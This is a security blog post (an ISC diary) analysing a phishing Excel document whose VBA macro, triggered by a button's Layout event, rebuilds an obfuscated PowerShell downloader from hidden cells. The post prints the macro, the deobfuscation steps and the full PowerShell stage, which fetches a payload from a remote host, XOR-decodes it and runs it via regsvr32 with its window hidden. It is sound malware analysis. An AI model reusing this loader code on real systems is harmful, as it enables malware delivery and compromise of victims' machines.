Threat Level: green Handler on Duty: Russ McRee

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Malicious Excel With a Strong Obfuscation and Sandbox Evasion

Published: 2020-04-24
Last Updated: 2020-04-24 05:16:23 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

For a few weeks, we see a bunch of Excel documents spread in the wild with Macro V4[1]. But VBA macros remain a classic way to drop the next stage of the attack on the victim’s computer. The attacker has many ways to fetch the next stage. He can download it from a compromised server or a public service like pastebin.com, dropbox.com, or any other service that allows sharing content. The problem is, in this case, that it generates more noise via new network flows and the attack depends on the reactivity of the other party to clean up the malicious content. If this happens, the macro won’t be able to fetch the data and the infection will fail. The other approach is to store the payload in the document metadata, the document itself or appended to it.

Metadata may contain suspicious data, here is a sample found this week that used specific fields on the Excel file:

The example that I will analyze today was found via a UPS phishing campaign. Here is a screenshot of the Excel sheet once opened:

I found several emails with the same kind of attachments named '_-<number>.xls'. My sample SHA256 is b4b3bb99bc136adeb142c49f81812f5222250b6e30bbf62e4837df28583aadf3 (unknown on VT at the this time) and it contains a classic VBA macro: 

remnux@remnux:/malwarezoo$ oledump.py _-870301049.xls | egrep ": [Mm]"
 18: M    3676 '_VBA_PROJECT_CUR/VBA/Sheet1'
 19: m     999 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'

Before analyzing the macro, it's interesting to spot the implementation of a simple sandbox evasion technique: When the document is opened, It is not executed automatically via the classic methods Workbook_Open() or Auto_Open()! The victim is asked to click on the “View and Pay your Invoices” (see the screenshot above).  The button has this value:

=EMBED("Forms.ToggleButton.1","")

The technique used is a Layout event[2]. Let's have a look at the macro:

Attribute VB_Control = "google, 1, 0, MSForms, MultiPage"
Attribute VB_Control = "pay, 5, 1, MSForms, ToggleButton"

...

Sub toggle()
    ...
End Sub


Private Sub google_Layout(ByVal Index As Long)
    toggle
End Sub

The user has to click on the button to run the macro!

The toogle() function contains the malicious code that extracts the next payload. Here, we have a good old technique that splits the content of the payload into multiple cells in the Excel sheet:

WScript.Quit (CreateObject("WScript.Shell").Run(undo(11000 + 956), 0, False))
...
Function undo(home As Integer)
    Dim tsi(): Dim Lo As Integer
    modul = echo(ActiveSheet.[E90:E106], "")
    For apo = 1 To Len(modul)
        ReDim Preserve tsi(apo)
        tsi(apo) = Mid(modul, apo, 1)
    Next
    tk = ""
    For Lo = 0 To home Step 4
        tk = tk + tsi(Lo)
    Next
    undo = tk
End Function

Cells E90 to E106 contains code (hidden with a white on white font). The content of interesting cells is concatenated but obfuscated: (here are only the first bytes)

11FWreeM eBiookcs a t P'lanpet reBoOok.CcomEManSn, sinq'uir ed  Mr." BuCmblAe, lgraLspi"ng  his  cacne,R toe keaep ttheE pa ris h o ffi"cerPs 
aO wawitiEng rat syouhr geardLen-lgat e,  whe-n twheyi conme  her0e u0pon0 po0roc0hia1l b usi-nesns wOithp thRe pOorofchiIal lor-epha ns?  Ar
-e yNou oawener,i Mrns. TManEn, RthaAt ycou TareI, a s I  ma-y seay,X a Epor ochbialy dePlegAateS, aSnd  a s tip.end iar(y?I m s$urep MrS. BH
umbOle,M thEat [I w2as 1onl]y a+ te$llipng soneH oro twMo oEf t[he 3dea4r c]hil+dre'n aXs i's s)o f(ond  of" yo\u, "tha&t i(t w(as VyouA a rc
omIinga, rbeplLiedE Mr s. 'Man*n wmithd grReat* hu'mil)ity..MrN. BAumbMle Ehad[ a 3gre"at \ide"a o f h is +ora[torSicaTl proweirs NandG hi]s 
i[mpoCrtaHnceA. HRe h]ad 4dis4pla+yed  th"e o\ne," an1d v1ind"ica\ted" th e o the+r. [He SrelTaxerd.WiellN, wGell], M[rs.C MaHnn,A heR re]pli
4ed 4in +a c alm"er \ton"e; 2it ]may- beJ asO yoIu snay;' it' ma)y b e. (Lea d tnhe ewayw in-, Mors.B Majnn,e focr IT co me  on ibusoine.ss,S
 antd hRaveE soametMhinrg teo sAay.DMrse. Mrann( us(her ed nthee bewadl-e iontoB a jsmaell cparTlou r w ithS a ybrisck tfloEor;M pl.aceid aO 
se.at CforO hiMm; PandR ofEficSiousslyi deOposNite.d hdis ecocFkedL haat aTnd ecans onT thRe tEablAe bmefo(re  him[. Mir. oBum.bleM wiEpedm f
room rhisY foSrehteadr thEe paersMpir]ati[on cwhiOch nhisV waelk RhadT en]gen:der:ed,f glrancOed McomBplaacenstlye at6 th4e csockTed rhatI, a
Nnd Gsmi(led'. Yfes,V hec smNilecd. 9BeapdleGs aEre Pbut0 mern: qands Mrb. BtumbSle QsmiUledU.Noww dEontm yoau bme ovffeGnde0d aAt wghatQ Imh
 a wgoiUng Ato Nsayx, okbsekrveJd M0rs.x MaNnn,w wiGth DcapVtivCatiUng CsweGetnwessH. YXouvre h/ad va lWong/ wavlk,E yoAu kinow3, o0r I/ woFu

Again, the attacker decided to not use a classic Base64 encoding that is way too easy to detect. Nothing relevant detected by base64dump:

remnux@remnux:/malwarezoo$ base64dump.py -n 50 _-870301049.xls
ID  Size    Encoded          Decoded          MD5 decoded                     
--  ----    -------          -------          -----------                     

The de-obfuscation is very simple: the very long string is processed in a loop and extract characters by step of 4. From the string above: 'W', 'M', 'i', 'c', ...

Let’s decode it in Python (the cells have been concatenated in a file):

>>> with open(‘cells.txt', 'r') as file:
...    data = file.read()
>>> payload=‘’
>>> for i in range(1, len(data), 4):
...    payload+=data[I]
>>> payload

The decoded payload starts with a big useless comment but here is the interesting part of the deobfuscated code:

WMic \'prOCESs\'  "CAlL"  cReatE   "POwErsheLl  -win 000001 -nOpROfIle  -NoninTERAcTI  -eXE byPASS  . ( $pSHOME[21]+$psHoME[34]+\'X\')
("\\"&((VArIabLE \'*mdR*\').NAME[3"\\"  +[STriNG][CHAR]44+ "\\"11"\\"  +[STriNG][CHAR]44+ "\\"2]-JOIn\'\') 
( new-oBjecT  io.StREaMreADer(( new-oBjecT  SystEM.iO.COMPRESsiON.deFLaTesTREAm( [io.MEmorYStrEaM][cOnVeRT]::frOMBase64sTrING(
...

Now, we have a Base64-encoded and compressed chunk of data after the frOMBase64sTrING(). Let's decode it:

 .("{1}{2}{0}"-f'm','se','T-itE') ("{0}{2}{1}" -f 'Va','lE:3uAp','riab')  ( [TypE]("{1}{2}{5}{3}{4}{0}" -f'mBlY','RE','fLEcTI','s','SE','On.A')  ); &("{2}{1}{0}"-f'M','TE','seT-i') ('varIABLE'+':'+'6p12') (  [tYPE]("{4}{2}{0}{1}{3}{6}{10}{9}{5}{11}{8}{7}" -F 'ECurIT','Y.pRInCi','ySteM.S','P','s','o','A','ItY','siDEnt','WInD','L.','W') ) ;   .('sV')  ('zp'+'2')  ( [tYPe]("{2}{4}{0}{3}{1}" -f '.enC','ng','T','odI','EXT')  ); .("{0}{1}" -f'sET-IT','em')  ('VAri'+'abLE:'+'pK'+'O')  (  [type]("{0}{1}{2}"-F'c','O','nVeRT') ); &("{0}{2}{1}" -f 'SEt','TEM','-I')  ('variAble:2Z'+'sT'+'u')  ([tYPE]("{0}{2}{1}" -F 'iO.FI','e','L') )  ;  .("{1}{2}{0}"-f'BlE','Set-v','aRiA')  ('qf'+'18'+'pc') ( [TYpe]("{0}{1}"-f'RE','Gex')  )  ;  ${G}=1;function iB(${I`H}){$(${i`h}.("{0}{1}" -f 's','ubstring').Invoke(${G}) -replace('-',''));return ${_}};${q`E}=(.("{0}{1}{2}" -f'Ge','t-Pro','cess') -Id ${P`Id})."M`AiNwi`NdO`wh`ANdLe";${ca}=[Runtime.InteropServices.HandleRef];${x`X}=.("{2}{0}{1}" -f'-Obj','ect','New') ${c`A}(${G},${q`E});${t}=&("{1}{0}{2}"-f '-Obj','New','ect') ${CA}(2,0);((  ${3u`Ap}::("{1}{3}{4}{0}{2}" -f'a','Loa','rtialName','dWit','hP').Invoke(("{1}{2}{0}{3}" -f'wsB','Wi','ndo','ase'))).("{2}{1}{0}"-f 'Type','t','Ge').Invoke(("{2}{4}{0}{5}{3}{1}"-f'.Uns','ethods','MS.Win','feNativeM','32','a')))::("{2}{3}{0}{1}"-f 'ndow','Pos','S','etWi').Invoke(${x`x},${t},0,0,100,100,16000+512);${I}=("{1}{2}{0}" -f 'demo','om ','/i');${i}=${i}.("{1}{0}" -f 'plit','s').Invoke(' ');${eE`Fd}=&('ib')(( (&("{1}{0}{3}{2}"-f'ET-c','G','teM','hIlDI')  ('vARiABLe'+':'+'6p12')  )."va`LUe"::("{2}{0}{1}"-f 'e','nt','GetCurr').Invoke())."u`sEr"."VAL`UE");${E}='ht'+("{0}{1}"-f 'tps',':/')+${I}[${G}]+'ten'+'.c'+(${I}[0,${G}] -replace '(\D{6})','/')+'?'+${E`Efd};.('Si') ("{2}{0}{1}" -f'riable:/','f','Va') ${E}.("{1}{0}{2}"-f 'pl','re','ace').Invoke(' ','');&('Sv') 1 ("{1}{0}{2}"-f'WebCl','Net.','ient');&('SI') ("{2}{1}{0}"-f 'C2','e:','Variabl') (.("{1}{2}{0}" -f 't','Ne','w-Objec') (.('Gv') 1 -Va));.('SV') ('c') ("{2}{0}{1}{3}" -f 'n','loadDa','Dow','ta');${o`Ad}=(([Char[]](.("{1}{2}{0}" -f'able','Va','ri') ('C2') -ValueOn).((&("{1}{0}"-f'riable','Va') ('c') -Val))."in`VOkE"((&("{2}{0}{1}"-f'iab','le','Var') ('f'))."vAL`Ue"))-Join'');${t`Fg}=${eN`V`:T`EmP};${M`I}=(${d}=&("{0}{1}"-f 'g','ci') ${T`Fg}|.("{2}{1}{0}" -f'm','et-rando','g'))."n`AME" -replace ".{4}$";${w}=${t`Fg}+'\'+${mi}+'.';${f`Gua}=${o`AD}.("{0}{2}{3}{1}"-f 'sub','ng','st','ri').Invoke(0,${G});${P}=[int]${F`GUa}*100;${a`AO} =${O`Ad}.("{2}{0}{1}"-f'm','ove','re').Invoke(0,${G});${pl}=${A`Ao} -split'!';.("{0}{1}" -f'sa','l') ('AI') ("{0}{1}{2}" -f'regs','vr','32');${I`kLO}= ( .("{0}{1}{2}"-f'G','ET-i','tem') ('vArIAb'+'LE:z'+'P2'))."va`LUe"::"Ut`F8";function r`EaDd(${a`BC}){${SA}= ${p`kO}::("{2}{0}{4}{3}{1}" -f'ro','ring','F','se64St','mBa').Invoke(${A`Bc});return ${SA}};foreach(${i`I} in ${p`l}[0]){${G}=@();${p`Pt}=${Fg`Ua}.("{1}{0}{2}" -f'arA','ToCh','rray').Invoke();${II}=&("{1}{0}" -f 'dd','Rea')(${i`i});for(${Jl}=0; ${j`L} -lt ${i`i}."c`OUNt"; ${j`L}++){${G} += [char]([Byte]${I`i}[${JL}] -bxor[Byte]${p`pT}[${j`L}%${p`pt}."C`OUnT"])}};${aa`xe}=${a`AO}."R`EPlacE"((${PL}[0]+"!"),${I`KLo}."Gets`T`RinG"(${g}));  ${2Z`sTU}::("{2}{3}{0}{1}"-f 'AllByt','es','Writ','e').Invoke(${w},(.("{1}{0}" -f 'd','Read')(${A`AXE} -replace ".{200}$")));if((.("{0}{1}" -f 'gc','i') ${W})."Le`NGtH" -lt ${P}){exit};.("{0}{1}" -f 'sl','eep') 10;&('AI') -s ${W};.("{0}{1}" -f 'sl','eep') 15; (  .("{1}{0}" -f 'teM','i') ('VaRiAbLE:2z'+'ST'+'u') )."va`lUE"::("{0}{1}{2}"-f'Writ','eA','llLines').Invoke(${W},  (  .("{2}{0}{1}"-f 'VAr','iaBle','GeT-') ('QF'+'18'+'pC'))."V`AlUE"::("{2}{1}{0}"-f'ce','pla','re').Invoke(${EE`Fd},'\D',''))

As you can see, it is pretty well obfuscated! The main technique used by the attacker is to use format strings with the '-f' operator. Example:

("{1}{2}{0}"-f'BlE','Set-v','aRiA')

Will be decoded as:

Set-vaRiABle

Let's try to find something interesting in this code as a practical example. Is there an URL encoded somewhere? 

${G}=1;
${I}=("{1}{2}{0}" -f 'demo','om ','/i')
${eE`Fd}=&('ib')(( (&("{1}{0}{3}{2}"-f'ET-c','G','teM','hIlDI')  ('vARiABLe'+':'+'6p12')  )."va`LUe"::("{2}{0}{1}"-f 'e','nt','GetCurr').Invoke())."u`sEr"."VAL`UE");
${E}='ht'+("{0}{1}"-f 'tps',':/')+${I}[${G}]+'ten'+'.c'+(${I}[0,${G}] -replace '(\D{6})','/')+'?'+${E`Efd};

And the variable '${E}' will contain 'hxxps://idemoten[.]com /?15211866265027187085091015791359731000'. But I was not able to fetch any valuable content from this URL...

Another trick used by the attacker: To hidden the window from the user. The position of the Window running the payload is set outside the screen resolution:

((  ${3u`Ap}::("{1}{3}{4}{0}{2}" -f'a','Loa','rtialName','dWit','hP').Invoke(("{1}{2}{0}{3}" -f'wsB','Wi','ndo','ase'))).("{2}{1}{0}"-f 'Type','t','Ge').Invoke(("{2}{4}{0}{5}{3}{1}"-f'.Uns','ethods','MS.Win','feNativeM','32','a')))::("{2}{3}{0}{1}"-f 'ndow','Pos','S','etWi').Invoke(${x`x},${t},0,0,100,100,16000+512);

Decoded:

((${3u`Ap}::("LoadWithPartialName").Invoke("WindowsBase")).GetType.Invoke("MS32UnsafeNativeMethods"))::SetWindowPos.Invoke(${x`x},${t},0,0,100,100,16000+512);

As you can see, attackers have plenty of ideas to implement sandbox evasion tricks and obfuscation techniques...

[1] https://isc.sans.edu/forums/diary/Maldoc+Excel+40+Macros/24750
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/layout-event

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives